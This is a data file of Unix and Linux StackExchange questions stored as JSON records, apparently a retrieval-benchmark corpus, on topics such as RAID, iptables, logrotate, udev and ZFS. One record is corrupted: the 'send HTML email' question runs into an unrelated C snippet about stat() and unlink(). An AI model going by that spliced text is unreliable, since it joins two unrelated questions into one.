are optional So this function takes a **single** argument with an **optional** directory. Weird, but should be doable. Some attempts at making it work: $ gphoto2 --shell gphoto2: {.../eos7d-v205-win} /> ls store_00010001/ gphoto2: {.../eos7d-v205-win} /> put 7D000205.FIR *** Error *** You need to specify a folder starting with /store_xxxxxxxxx/ *** Error (-1: 'Unspecified error') *** gphoto2: {.../eos7d-v205-win} /> put /store_00010001/7D000205.FIR *** Error *** PTP Access Denied *** Error (-1: 'Unspecified error') *** gphoto2: {.../eos7d-v205-win} /> put /store_00010001/MISC/7D000205.FIR *** Error *** PTP Access Denied *** Error (-1: 'Unspecified error') *** Maybe it's not supported? * * * Digikam has an upload feature, but that just reported ' _Failed to upload file \"7D000205.FIR\"._ ' Running it from the shell produced no more information. Too many WTFs per minute. **What do I need to do to copy a file to my camera in Arch Linux?**"} {"_id": "80734", "title": "Creating deb and rpm from the same source", "text": "Is there a standard for source packages to be able to build rpms, debs (and perhaps others) without too much customization? I'm talking mostly about Python, PyQt programs."} {"_id": "54960", "title": "How to set up disk mirroring (RAID-1)", "text": "I have a computer with two WD 1TB drives and I want to configure disk mirroring on it. I tried setting up RAID during the installation by creating RAID partitions but that does not work for me. Is there a convenient software that I can install to do the job for me? If no, what shell commands can be used? Once it is set up how should I verify that it is working?"} {"_id": "116302", "title": "Moving large numbers of files and directories to a different directory", "text": "I'm trying to move the following move a large number of files that exist in the following structure to a /mnt/originals but I need to maintain the structure at the same time. I know cp would be a solution but can't use cp because of space limitations. /mnt/originals-us/4 /mnt/originals.us/4/0b9 /mnt/originals.us/4/0b8 /mnt/originals.us/4/0b4 /mnt/originals.us/4/0b3 /mnt/originals.us/4/0b9/a62/ /mnt/originals.us/4/0b9/a47/ /mnt/originals.us/4/0b9/f0f/ /mnt/originals.us/4/0b9/a62/aa5/file16.png /mnt/originals.us/4/0b9/a62/ba1/file1.png /mnt/originals.us/4/0b9/a47/31f/file3.mov /mnt/originals.us/4/0b9/f0f/ . . . Etc. It is a pretty large set of files of different file names and types. I tried the following but it didn't work. mv /mnt/originals-us/ /mnt/originals/ but get the following mv: inter-device move failed: `/mnt/originals-us/10/0b9/' to `/mnt/originals/10/0b9'; unable to remove target: Is a directory I also thought about writing a massively chanin-ed command but I don't think that would work either. This is what I have so far. find . -type f -print | rev | cut -d '/' -f1 | rev This obviously gives me all the filenames but how do I chain it with the first part?"} {"_id": "139059", "title": "Output multiple strings out of multiple files", "text": "**Hi my current code is:** find /home/user/logfilesError/ -maxdepth 1 -type f -name \"gBatch_*\"\\ -daystart -mtime -1 -exec grep -rl \"ERROR\" \"{}\" + | xargs -l basename if [ $? -eq 0 ]; then tday=\"$(date +'%d.%m.%Y')\" echo \"ERROR found on $tday in the files obove!\" else tday=\"$(date +'%d.%m.%Y')\" echo \"No ERROR was found at the $tday !\" fi The code currently outputs the logfiles wich are created or edited this day(not last 24 hrs) and searches if the logfiles contain \"ERROR\" and simply says in which logfiles is an error or if there aren\u00b4t any error he says that aswell. I censored the names a bit so dont think I messed that up and thats why it doesn\u00b4t work ;-) **Output(example):** gBatch_2070.log gBatch_2071.log ERROR found on 25.06.2014 in the files obove! **The folder looks like:** ![folder](http://i.stack.imgur.com/svsUI.jpg) **Each file looks like:** ![file](http://i.stack.imgur.com/6IAXk.jpg) **My desired output:** Name of the file + \"ERROR\" + the message after the error Example: gBatch_2067.log - ERROR **.batch.BatchStart = Batchverarbeitung beeendet, gBatch_2077.log - ERROR **.batch.BatchStart = Batchverarbeitung beeendet, ... Thank you in advance for your help!"} {"_id": "61057", "title": "Make a programme executable by common users", "text": "I've installed `hddtemp` on my Arch Linux, but it needs to be run with root permissions. I want to execute it as a normal user without using `sudo`. How can I do this?"} {"_id": "61054", "title": "What's the difference between these ways of accessing the shell?", "text": "From what I know it seems that there are many ways to access the shell on Linux. So far the methods I know are: 1. To use a program such as Terminal or Konsole 2. To use the shortcuts CTRL + ALT + F1-6 3. To disable X and boot straight into the command line 4. To SSH in What are the differences between these methods? Are there any more ways of accessing the shell on Linux? Apologies if this is a noob question :S"} {"_id": "127222", "title": "How to get the last file added to a directory with LFTP?", "text": "I am trying to get only the last file added to a directory using LFTP and parameters mirror -n, -N but all my attempts didn't work. Is there a way to do it with LFTP?"} {"_id": "61052", "title": "Why can I reach a different interface's IP address?", "text": "I'm wondering about this, and I can't seem to find an explanation on the internet. I have a linux gateway which has multiple interfaces: eth0: external ip eth1: 172.16.1.1/24 eth2: 172.16.2.1/24 ip_forward is enabled. IPtables is configured to NAT traffic from `eth1 -> eth0` and `eth2 -> eth0`. But configured not to FORWARD traffic between `eth1 <-> eth2`. My question is: Why is it possible for a computer on the 172.16.2.0/24 subnet to ping 172.16.1.1 (ip address of eth1 interface)? **nat** Chain PREROUTING (policy ACCEPT 647K packets, 52M bytes) pkts bytes target prot opt in out source destination Chain INPUT (policy ACCEPT 17582 packets, 1160K bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 14951 packets, 1214K bytes) pkts bytes target prot opt in out source destination Chain POSTROUTING (policy ACCEPT 187 packets, 42984 bytes) pkts bytes target prot opt in out source destination 333K 25M SNAT all -- * eth0 0.0.0.0/0 0.0.0.0/0 to: **filter** Chain INPUT (policy DROP 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 0 0 ACCEPT tcp -- eth1 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 0 0 ACCEPT tcp -- eth2 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 0 0 ACCEPT tcp -- eth0 * 0.0.0.0/0 tcp dpt:22 0 0 ACCEPT udp -- eth1 * 0.0.0.0/0 0.0.0.0/0 udp dpt:53 0 0 ACCEPT udp -- eth2 * 0.0.0.0/0 0.0.0.0/0 udp dpt:53 0 0 ACCEPT icmp -- eth1 * 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT icmp -- eth2 * 0.0.0.0/0 0.0.0.0/0 Chain FORWARD (policy DROP 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 ULOG all -- eth1 eth0 0.0.0.0/0 0.0.0.0/0 state NEW ULOG copy_range 0 nlgroup 1 prefix \"NEW: \" queue_threshold 1 0 0 ULOG all -- eth2 eth0 0.0.0.0/0 0.0.0.0/0 state NEW ULOG copy_range 0 nlgroup 1 prefix \"NEW: \" queue_threshold 1 0 0 ACCEPT all -- eth1 eth0 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT all -- eth2 eth0 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT all -- eth0 eth1 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 0 0 ACCEPT all -- eth0 eth2 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 ACCEPT all -- * lo 0.0.0.0/0 0.0.0.0/0"} {"_id": "61050", "title": "Recommendation of books to setup and admin a web server in Linux", "text": "Hi I am quite a newbie on Linux, I knew basic concept and some commands of it. And now I am going to setup and admin a web server in Ubuntu Linux distribution. I installed it by default setting, and seems all works fine, and now I need to setup it to be a virtual web host server, mainly I will create more accounts and for each account, I will setup its home/folder, and ftp, so the user with the account can upload their PHP scripts to it, also I would like to make home/bin, home/lib for the account, so they can use SSH too, to install local binary or libs, even more.. I am thinking to read some books, but I don't know which one is good for me basically it could have something about how to setup virtual web host server, admin it, and how to make it secure. Any advice is appreciated."} {"_id": "25320", "title": "How should I configure grub for booting linux kernel from a USB hard drive?", "text": "I have a laptop hard drive in an external enclosure which I use as a large pendrive. For an added twist, I have installed Linux on it, so I can boot any machine with my distribution of choice (e.g. for data recovery or repairing a b0rked system or just using a borrowed laptop without destroying the preinstalled Windows). The problem is that, depending on the hardware configuration, the USB hard drive may be visible under different paths. For grub configuration I just use `(hda0,0)` as it is relative to the device the grub was launched from. I have UUID entries in `/etc/fstab`. I also specify `rootwait` in the kernel parameters so that it waits for the USB subsystem to settle down before trying to mount the device. What should I pass to the kernel as `root=` ? Currently boot from the pendrive once, check the debug messages to see what `/dev/sdX` device has been assigned to the USB drive by the kernel, then reboot and edit the grub configuration. I can't change anything on the PC besides enabling `Boot from USB hard drive` in BIOS and setting it to higher priority than internal hard drives. There are various initrd generating scripts which include support for UUID in root device path, unfortunately the Gentoo native one (genkernel) does not support `rootwait` and I had no luck trying to use others. The boot process goes like this (it is quite similar in Windows): 1. The BIOS chooses the boot device and loads whatever is its MBR (which happens to be grub stage-1). 2. Grub loads it's configuration and stage-2 files from device it has set as `root`, using `(hd0)` for the device it was loaded from by BIOS. 3. Grub loads and starts a kernel (still the same numbering, so I can use `(hd0,0)` again ). 4. Kernel initializes all built-in devices (`rootwait` does it's magic now). 5. Kernel mounts the partition it was passed as `root` (this is a kernel parameter, not grub parameter). 6. `init.d` starts the userland booting process, including mounting things from `/etc/fstab`. Part 5 is the one giving me problems."} {"_id": "110271", "title": "LFSH ... what is '/lib/init' for?", "text": "I'm trying to understand the init/boot process. My system is LMDE, so I presume it will be pretty much standard Debian in that regard. I believe I more or less understand the basics of the init scripts, `/etc/init.d/`, `/etc/defaults/` and so on, but there's this strange use of `/lib/init/` for a few of the scripts that look to me like they should be in /etc/init.d/ with all the rest. Can someone explain the logic of this? There's lots of discussion of `/lib/init/rw/` but none that I can find about `/lib/init/` itself. This is all that's in there: drwxr-xr-x 3 root 4.0K 2013-12-25//15:20:41 rw/ -rw-r--r-- 1 root 1.3K 2014-01-21//07:37:07 vars.sh -rw-r--r-- 1 root 3.3K 2014-01-21//07:37:07 tmpfs.sh -rw-r--r-- 1 root 741 2014-01-21//07:37:07 swap-functions.sh -rw-r--r-- 1 root 17K 2014-01-21//07:37:07 mount-functions.sh -rw-r--r-- 1 root 4.4K 2014-01-21//07:37:07 bootclean.sh Running `dpkg-query -S /lib/init` returns: initscripts: /lib/init"} {"_id": "110276", "title": "How to format history file to contain username too?", "text": "tail -2 /root/.bashrc export HISTTIMEFORMAT=\"%d/%m/%y %T \" export PROMPT_COMMAND='builtin history 1 >> /var/log/root.log' With this all the commands could be logged (even the ones that were in \"sudo su -\" ). **My question** : How can I put username info in the history file, so not just the time will be logged, but the original user, who \"sudo su -\"'ed username is in the history files too (or process PID from it's shell, or any unique identifier)?"} {"_id": "103045", "title": "Use an alias with watch command", "text": "The post repeat command every x seconds shows that `watch` is the utility that is useful for the invoking a command at fixed interval repeatedly. Now, I have very long commands, and have used aliases to group them logically to get a quicker output, like $ alias c1='grep \"checking for\" file1.log' $ alias c2='grep \"validated\" file1.log' $ (echo \"Checking: \"`c1`) && (echo \"Validated: \"`c2`) The output of 3rd command is like Checking: 100 Validated: 80 It is a long running process, I need to check the status of this process, to get the mentioned counts. But invoking the above with `watch` gives error > $ watch '(echo \"Checking: \"`c1`) && (echo \"Validated: \"`c2`)' > c1 command not found I can put the entire command in there and remove the aliases, but is there any other work-around to get the aliases working with `watch` command? **Note:** Did quickly go through the man page for `watch`, but didn't find any reference to `alias` in specific."} {"_id": "79669", "title": "GPU not listed in lspci after SysRQ reboot", "text": "I have my Ubuntu Server machine with XFX 7970 GPU in it, and sometimes, when ATI driver fails, I have to reboot it manually. When I'm trying to reboot the machine using SysRQ, the system reboots well, but GPU is not listed in lspci output. It appears again after hand reboot. Is there a way to reboot it without hand reboot remotely?"} {"_id": "110278", "title": "KDE-dolphin trashcan on second HDD", "text": "From KDE I use only dolphin. I've pulled out second hdd for a couple of days (also changed `fstab`). Now I put it back and dolphin won't \"see\" `/hdd2/.Trash-1000/` and if I delete file `/hdd2/file1` it moves to `~/.local/share/Trash/` but should move to `/hdd2/.Trash-1000/` How do I point dolphin to use right trash-dir?"} {"_id": "120793", "title": "Error stat of log failed: Permission denied during LogRotation", "text": "After installing a new CentOS 6.0 server, logrotate was working absolutely fine. Then one day due to a kernel panic, the server had to be hard booted, and ever since log rotation is not rotating the logs. So I did a separate cron entry to rotate logs manually and forcefully and redirected the output to a log file, and got the following lines for each file: rotating pattern: /home/mail3/log/popMailProcessing.log forced from command line (60 rotations) empty log files are rotated, old logs are removed considering log /home/mail3/log/popMailProcessing.log error: stat of /home/mail3/log/popMailProcessing.log failed: Permission denied However, if I do a logrotation manually from command line, it works flawlessly. The command I use on command line is: logrotate -v -f /etc/logrotate.d/mail3-logs My logrotate.conf file can be seen here. The log rotation file which logrotate uses via cron job can be seen here. My crontab entry is: 03 00 * * * root /usr/sbin/logrotate -f -v /etc/logrotate.d/mail3-logs &>> /var/log/logrotate/rotate.log SELinux is enforcing, and it was enforcing prior to the hard boot too. The directory where the logs are kept have the root as their owner and directory has complete permissions. Any clue what is causing the permission denied error?"} {"_id": "98716", "title": "How do I know on which IDE to edit a project's source code?", "text": "**EDIT** : Thanks to all answerers and commenters, there's enough material to keep me busy for a while ! * * * I recently switch to Linux and wanted to do my first development steps with the following source: SDL Sopwith Beside compiling and running the program with the following lines : ./configure make I couldn't figure out how to easily edit a project's source code but by editing it manually in a text editor and typing the above lines every time to test it ... without debugging and all the features that are provided by an IDE. There are other projects (i.e. AntiMicro) that I figured out how to edit in a particular IDE such as QT Creator because there was a .PRO file in the project which I quickly found out what it was for. How do someone gets a source running in an IDE when there are no IDE-specific file included in it ?"} {"_id": "120791", "title": "Difference between mergecap merging and concatenate", "text": "Can anyone tell me the difference between merging and concatenate the pcap files using mergecap function. I opened the output files in wireshark. I couldn't understand any difference."} {"_id": "97005", "title": "Viewing a part of the screen in a window on Linux", "text": "I plan to make a presentation with a live demo using my wide screen Ubuntu 12.10 Laptop and a projector. My plan is to connect the projector as a second (small) display and put my slides and live-demo there. It would be convenient, if I could see the projector display on my laptop LCD screen within a window (no zoom or stretch needed). So my question is: How can I see selected part of a screen within a window? PS Other possibilities are: * typing on laptop and looking on the projector screen and not at the audience * Cloning laptop display to the projector display: zooming/stretching wide screen to a small projector screen and also being unable to put some private (like timer) information on the laptop screen."} {"_id": "151870", "title": "Backing up post install; rsync breaks", "text": "I use the following command for backup, but if I do a clean install of Fedora, copy over all my backed up files, then backup again, it copies them even though they are unchanged. Why? Can I avoid this? rsync -tvr --modify-window=1 --cvs-exclude \\ --exclude-from '/run/media/user/32GB/.exclude' --progress \\ /home/user/Documents/* /run/media/alex/32GB/"} {"_id": "151871", "title": "How does bash execute an ELF file?", "text": "When I'm on my Linux Box I use bash as a shell. Now I wondered how bash handles the execution of an ELF file, that is when I type ./program and program is an ELF file. I grepped the bash-4.3.tar.gz, there does not seem to be some sort of magic number parser to find out if the file is an ELF nor did I find an exec() syscall. How does the process work? How does bash pass the execution of the ELF to the OS?"} {"_id": "151877", "title": "What happens when a tmpfs is full and no swap space is available?", "text": "Let's say I have a setup with * 16 GB of physical RAM, * A tmpfs of max. 8 GB containing a file with 5 GB and * A swap sized 4 GB. If I'd try to, e.g., create a copy of the 5 GB file on the tmpfs, what would happen to the file operation and what would happen to the system?"} {"_id": "126457", "title": "shall we rerun `createrepo` after copying new files in repositry", "text": "I have a repository installed. I wanted to update that repository with new rpm files. Can I rerun `createrepo` command on this repository for updating my new available files to servers?"} {"_id": "15402", "title": "How to change user on SWAT page (or how to control Samba by nonprivileged user)", "text": "I logged into SWAT with my nonprivileged user, since the root account is usually disabled on modern Linux systems. I cannot control any Samba parameters by this user. Once I enable the root account, how should I logout from SWAT and re-login into SWAT as root? Or how should I make my nonprivileged user to be able to control Samba parameters? Put the user into certain group? Specify the user in some SWAT config as a privileged one?"} {"_id": "6930", "title": "How is a message queue implemented in the Linux kernel?", "text": "I would like to know how Message Queues are implemented in the Linux Kernel."} {"_id": "155379", "title": "How to change live session boot image", "text": "I'm trying to change live user session boot image in linux mint using squashfs. So: -I've Changed the boot image in /lib/plymouth/themes/mint-logo/logo.png -I've update it using: sudo update-initramfs -u But it shows these errors: sudo: unable to resolve host Out-Of-Order update-initramfs: Generating /boot/initrd.img-3.13.0-24-generic cryptsetup: WARNING: could not determine root device from /etc/fstab Warning: No support for locale: en_US.utf8 (In my installed system it works perfectly but in my remastered linux it gave me the errors)"} {"_id": "15400", "title": "SNMPD only system group available!", "text": "I installed at fedora snmpd package... > view systemview included > .1.3.6.1.2.1.1 view systemview > included .1.3.6.1.2.1.25.1.1 view > all included .1 80 > #### > # Finally, grant the group read-only access to the systemview view. > > # group context sec.model sec.level prefix read > write notif access notConfigGroup \"\" > any noauth exact systemview > none none access notConfigGroup \"\" > any noauth exact all none > none I could get only system information.... using snmpwalk or whatever.. I tried adding RFC 1213 1.3.6.1.2.11 snmp node with no luck.... What am i doing wrong?"} {"_id": "155371", "title": "remote desktop on host", "text": "I have a host and I need people from Europe to access application on its desktop. So far I have told them to use `ssh -x -C user@host` and then launch an application with `application&` to get the app transferred to their desktop. That works, but they were complaining about the speed. Now I thought `VNC` might work better. so I installed a vncserver `Xvnc4` and I can connect to `127.0.0.1:5902` from the local shell but how can I tunnel this through ssh from external?"} {"_id": "82321", "title": "Get the name of the physically (on front of pc) logged in user, reliably!", "text": "`w`, `who`, `id` and `whoami` are excluded, because they only give information about users using a tty. Is there a way to extract the name reliably from KDM?"} {"_id": "155375", "title": "How to modify the Quadro driver to install on a GeForce", "text": "I have a consumer GeForce GTX680. It's professional equivalent is Quadro K5000. Both cards have exactly the same chip inside (GK104), the hardware is nearly identical. I need to install the Quadro driver instead of Geforce so I can have access to quad-buffered stereo system-wide. Windows users can force a Quadro driver by unpacking it and modifying one of the *.inf files. I managed to unpack the linux driver with: sh NVIDIA* --extract-only I can see two files reffering to specific device IDs of cards - monitoring.conf and pci.ids But suspect that on Linux we might have just one generic driver for all cards as I downloaded both the GTX680 driver and K5000 driver and both appear to be the same from inside. So the method for Linux might be different. Does anybody know how to modify the official driver or manually choose the one for K5000 from the files?"} {"_id": "82327", "title": "FTP issues after installing DD-WRT", "text": "I have recently installed DD-WRT on my D-Link DIR-615 router (rev. D3). Everything seems fine but I cannot connect to some (most) FTP servers anymore. Any ideas what can cause this issue? -- Passive/active doesn't make a difference. I've discovered something interesting. I've set up a port range forwarding `1024-65535 | Both | 192.168.1.131` for the testing purposes. After that I have enabled or disabled (it doesn't really matters it seems) the UPnP service and it let me connect to FTP but just for a few seconds."} {"_id": "120248", "title": "Install mono and Monodevelop on a new Redhat 6.5 Workstation", "text": "Does anyone know how to install Mono and MonoDevelop on a Redhat 6.5 Workstation. I've tried a number of different things but nothing has worked. I tried using git and building with make from the mono website but it didn't build. EDIT: I successfully installed mono, now the only problem is getting MonoDevelop installed. EDIT: I managed to get an rpm installed: Monodevelop 2.4. But the application doesn't start."} {"_id": "2298", "title": "Why am I getting a \"Cannot revert to safe mode\" error whenever I try to run a game?", "text": "I'm using internal VGA these days and I've got a problem: I can't run any games. I always get this errors: --------- [Loading Renderer] --------- Initializing OpenGL display ...setting fullscreen mode 3: 1024 768 Using XFree86-VidModeExtension Version 2.2 Xlib: extension \"GLX\" missing on display \":0.0\". Error couldn't get an RGB, Double-buffered, Depth visual, Stencil Buffered Xlib: extension \"GLX\" missing on display \":0.0\". Error couldn't get an RGB, Double-buffered, Depth visual ref_gl::R_SetMode() - invalid mode Initializing OpenGL display ...setting mode 3: 1024 768 Using XFree86-VidModeExtension Version 2.2 Xlib: extension \"GLX\" missing on display \":0.0\". Error couldn't get an RGB, Double-buffered, Depth visual, Stencil Buffered Xlib: extension \"GLX\" missing on display \":0.0\". Error couldn't get an RGB, Double-buffered, Depth visual ref_gl::R_SetMode() - could not revert to safe mode ref_gl::R_Init() - could not R_SetMode() My motherboard is K8S-MX and I'm using linux 10.04 Do you know how can I fix it?"} {"_id": "15405", "title": "How do I send HTML email using linux 'mail' command?", "text": "`mail -s \"subject\" xxxxx@gmail.com d_name; if(!strcmp(fileName, \".\") || !strcmp(fileName, \"..\")) continue; int ret = stat(fileName, &buf); if(ret) { closedir(dp); WARNING(\"Fail to get info for files \"<< fileName <<\" via stat, errno=\" << ERRNO()); return; } if(now - buf.st_mtime <= days * 24 * 3600) continue; int rret = unlink(fileName); if(rret) { closedir(dp); WARNING(\"Fail to remove file \"<< fileName <<\" , errno=\" << ERRNO()); return; } } closedir(dp); I got a ERROR during this line: int ret = stat(fileName, &buf); The errno is 2, No such file or directory. But I checked file, it does exit, and I flush the stream after the file writing. Any one knows the cause? Thanks."} {"_id": "2291", "title": "CentOS: List the installed RPMs by date of installation/update?", "text": "I'm on a CentOS 4 machine. I updated and installed some packages a few weeks back, but I don't remember the name of every package or the names of every dependency. I used `yum`. Can I list the packages on my system by the date they were last installed or updated?"} {"_id": "120242", "title": "Using LVM with SSD and SATA drives", "text": "I saw in this question that it is possible to place both a SSD and a standard SATA hard drive into a single LVM volume group (VG). How does this affect performance? Is there a way to force the OS to be on the SSD while the data is on the SATA drive within a single volume group? Are there any good whitepapers on using LVM with different types of drives? Would it be beneficial to create a VG for each drive type and/or speed? I was thinking of creating one VG for SSDs and one for SATA (and for each drive type I may add in the future as it comes)."} {"_id": "2295", "title": "Why does /var/log/wtmp becomes so huge? How to inspect wtmp files?", "text": "Just noticed some 640MB wtmp file in a virtual container (Ubuntu Hardy). # last -n 10000 -f /var/log/wtmp.1|wc -l 384 # ls -hl /var/log/wtmp.1 -rw-rw-r-- 1 root utmp 641M 21. Sep 07:49 /var/log/wtmp.1 logrotate was not installed (I just did that and forced rotating). Are there records in there not being displayed by `last` (which should show the last 1000 entries, but apparently there are only 384). From quickly skimming the `wtmp/utmp` man page, it does not look like a single entry should use about 1,6MB. Is there another program besides `last` to inspect these files?"} {"_id": "51984", "title": "Why am I observing different behaviour of echo?", "text": "I am a bash beginner and observed the below behavior of echo #!/bin/bash x=\" hello\" echo $x echo \"$x\" Now when I run the above code I get ronnie@ronnie:~$ bash test.sh hello hello ronnie@ronnie:~$ So, can someone explain to me why `whitespace` in first case is not present in output and also points me to the documentation where this behavior is defined."} {"_id": "51983", "title": "bash - how to uppercase the command line argument?", "text": "I searched SO and found that to uppercase a string following would work str=\"Some string\" echo ${str^^} But I tried to do a similar thing on a command-line argument, which gave me the following error ### Tried #!/bin/bash ## Output echo ${1^^} ## line 3: ${1^^}: bad substitution echo {$1^^} ## No error, but output was still smaller case i.e. no effect Please let me know, how could we do this?"} {"_id": "51981", "title": "ls list files not matching given string in filename", "text": "I have a directory in which lots of files (around 200) with the name `temp_log.$$` are created with several other important files which I need to check. How can I easily list out all the files and exclude the `temp_log.$$` files from getting displayed? ### Expected output $ ls -lrt -- Lists files not matching the above given string I have gone through `ls` man page but couldn't find anything in this reference. Please let me know if I have missed any vital information here. Thanks"} {"_id": "105147", "title": "Stop laptop keys acting as a numpad with numlock on", "text": "I have bought an USB number pad and it's working as expected. Anyway, to use number keys, I need num lock on, and if I turn it on, my keyboard numpad sends numbers instead of the letters... How to have letter keys with num pad on? If that matters, I'm on an Asus eee PC 900 and using the lastest Linux Mint Debian Edition."} {"_id": "100676", "title": "sed - how to exclude multiple patterns in the match", "text": "I have currently a set of seds that's working well except for one thing. The particular expression I'm having an issue with is: sed -i '/[^}.to]\\.to[[:space:]]/ s/\\(\\S\\)/expect(\\1/' ../_spec_seded/\"$file\" Right now this works fine. Basically it looks for `.to` and insert `expect` at the start of the expression. In particular, it excludes `}.to` when looking to match on `.to` which works. Now I want to also exclude 'this' or 'that' from the search match. In my case `}.to` **or** `end.to` i.e. instead of /[^}.to]\\.to[[:space]]/ should I have: /[^}.to|^end\\.to]\\.to[[:space]]/ /[^}.to][^end\\.to]\\.to[[:space]]/ /[(^}.to|end\\.to)]\\.to[[:space]]/ /[^(}.to|end\\.to)]\\.to[[:space]]/ would I even need to escape parens if using them like /[^\\(}.to|end\\.to\\)]\\.to[[:space]]/ or even the `|` as well? /[^\\(}.to\\|end\\.to\\)]\\.to[[:space]]/ I'm trying to make the match work on: stuff.to do thing stuff).to do thing this.to that all.all.all.to do pretend.do # Note this edge case! (pretend contains \"end\"!) but not on this will be here }.to do last.end}.to do all.this at the end.to none at allend.to and all.this at the end.to # i.e. no spaces before as it is the start of the line. Negating with OR's generally (all languages) seems tricky (due to false positives)."} {"_id": "149347", "title": "Howto Tell if a System authenticate with password only or through PAM", "text": "If my computer has the pam package installed and has the directory `/etc/pam.d/sshd`, does it mean for sure when I ssh to my computer, I am authenticated through pam modules? The `/etc/pam.d/sshd` looks like this: #%PAM-1.0 auth include system-auth account required pam_nologin.so account include system-auth password include system-auth session optional pam_keyinit.so force revoke session include system-auth session required pam_loginuid.so"} {"_id": "105144", "title": "udev rule for assigning known symlinks for identical usb serial devices", "text": "I have two (and possibly in the future, more) USB serial devices which are identical (down to the serial number, unfortunately) - they're actually BTC miners. Currently they end up as `ttyUSBX` where X is 0, 1 or 2, as there's another unrelated USB serial device as well (which need not be worried about here). I would like to write a udev rule which will assign them predictable names within `/dev`, like `/dev/miner0` where the zero is an incrementing integer. I don't care which of them ends up as which, but I do need them to be within a predictable range which won't change. Currently I have this: SUBSYSTEM==\"tty\", ATTRS{idVendor}==\"10c4\", ATTRS{idProduct}==\"ea60\", SYMLINK+=\"miner%n\" This is pretty close, as I end up with names like I want. The only problem is, since the miners and the third device can sometimes appear in a random order, I might end up with two of `miner0`, `miner1` and `miner2`, but I never know which two (without manually looking). If I add any more non-miner usb serial devices (which is a possibility), it'll exacerbate the problem. I had found reference to `%e` which looked like it did exactly what I wanted, but it doesn't seem to exist anymore. How might I give these devices predictable names? I'd prefer not to tie them to their location on the USB bus as well if possible. * * * **Further information/background** It's worth mentioning that I'm not that bothered what the names are, just that they be known and unchanging even if/when the device gets plugged into a different USB socket. I would simply forget the whole udev thing and use entries in `/dev/serial/by-id`, but as they have the same serial number, there's only one of them in there! It's also worth mentioning that the reason for doing this is that the mining software needs to be told a list of devices to probe and find. I can just have it do all (it basically just finds all valid miners in the `ttyUSB*` range), but that annoys the non-miner device. So I need the names of the miners known ahead of time so I can configure it to use just those. Sadly it won't accept a wildcard (so just telling it to use `/dev/miner*` seems to be out of the question), hence this problem."} {"_id": "149341", "title": "LXDE stuck on Login", "text": "Using Ubuntu 14.04, the OS boots to LXDE. I select my username, enter my password, and get returned back to login. I can press `Ctrl`+`Alt`+`F1` to log in through the console. I ran `ls -l ~/.Xauhtority` and got back the following: -rw------- 1 a_user a_user 0 some_date /home/a_user/.Xauthority"} {"_id": "70343", "title": "How do I edit configuration variables returned by getconf?", "text": "Specifically, I would like to edit the value of the system configuration variable ARG_MAX. (It is preset on kernels before 2.6.23 and I want to increase it.) How do I do this? Does this require editing the kernel? This is on RHEL/CentOS."} {"_id": "105141", "title": "Recognise extra keyboard keys: Steelseries Apex", "text": "I've got a new keyboard (Steelseries Apex). It has extra key, but I can't get linux to detect it. I tried `xev`, `getscancodes`, `showkey --scancodes` and `dmesg`! Any of those command give me error or code when I hit the keys. What else can I try?"} {"_id": "100677", "title": "ssh (remote console) between 2 computers from different private networks", "text": "I have two computers. Both of them are from different private networks. I'd like to connect from one of them to another (to program on it remotely). I attempted to use some remote desktop software (teamviewer). However, I encountered some issues with internet connection bandwidth and screen resolution. So, I search some way to get just terminal access to remote computer. I'm a beginner in Linux. And as far as I understand the remote console access to other computer is obtaining via ssh (or telnet?). Unfortunately both of computers have private IP, so I unable to use SSH (reverse) tunneling. How to get remote terminal access to other computer in my case? (I'd prefer free solution)"} {"_id": "117131", "title": "Debian Squeeze RAID 5 Install?", "text": "I have a box with four Hard Drives on it. I am going to install Debian Squeeze (I know it's old... I have to) on it. I want to be able to treat the the four Hard Drives as a single Harddrive. Durringt he installation, I tried using LVM to join all 4 of my drives but then it complains about there not being a boot partition. How can I get around this issue???"} {"_id": "102361", "title": "Is a ZFS storage array portable across operating systems & CPU Architectures?", "text": "I know that ZFS is available on variety of operating systems Solaris, Illumos, Linux, BSD etc. Suppose I have a bunch of disks that are part of ZFS raid file system that was created on Linux, could those drives be taken out of the Linux machine and put into a machine running BSD or Illumos and just work? Are there any OS specific things that are written to ZFS file systems that would make moving a disk between different implementations of ZFS a problem? What about if the ZFS formatted disks were moved across CPU architectures say from a machine running SPARC to x86. Would the ZFS metadata be affected by endianess of the CPU architecture?"} {"_id": "117135", "title": "Blacklisting won't work for kernel module \"radeon\"", "text": "I tried to blacklist kernel module \"radeon\" as it is classhing with my propietary drivers. I tried it doing it in two ways but none of them worked and every time command mkinitcpio -M will list \"radeon\" module. * * * I tried to create file `/etc/modprobe.d/radeon.config` with lines blacklist radeon fglrx After reboot this didn't work so I deleted this file and tried to do the same in my bootloader (I am using **syslinux** ) kernel line. I edited the file `/boot/syslinux/syslinux.cfg`to look like this: DEFAULT arch PROMPT 0 TIMEOUT 10 UI menu.c32 MENU TITLE Arch Linux #MENU BACKGROUND splash.png MENU COLOR border 30;44 #40ffffff #a0000000 std MENU COLOR title 1;36;44 #9033ccff #a0000000 std MENU COLOR sel 7;37;40 #e0ffffff #20ffffff all MENU COLOR unsel 37;44 #50ffffff #a0000000 std MENU COLOR help 37;40 #c0ffffff #a0000000 std MENU COLOR timeout_msg 37;40 #80ffffff #00000000 std MENU COLOR timeout 1;37;40 #c0ffffff #00000000 std MENU COLOR msg07 37;40 #90ffffff #a0000000 std MENU COLOR tabmsg 31;40 #30ffffff #00000000 std LABEL archstudio MENU LABEL Linux (Arch) - recording studio LINUX ../vmlinuz-linux-rt APPEND root=/dev/sda1 rw threadirqs nomodeset modprobe.blacklist=radeon fglrx INITRD ../initramfs-linux-rt.img I am using RT kernel \" **linux-rt** \" so I did rebuild the bootloader using mkinitcpio -p linux-rt After restart I noticed that this didn't work either. * * * Command `mkinitcpio -v` shows that some hooks load \"radeon\" module: ==> Starting dry run: 3.10.14-rt9-1-rt -> Running 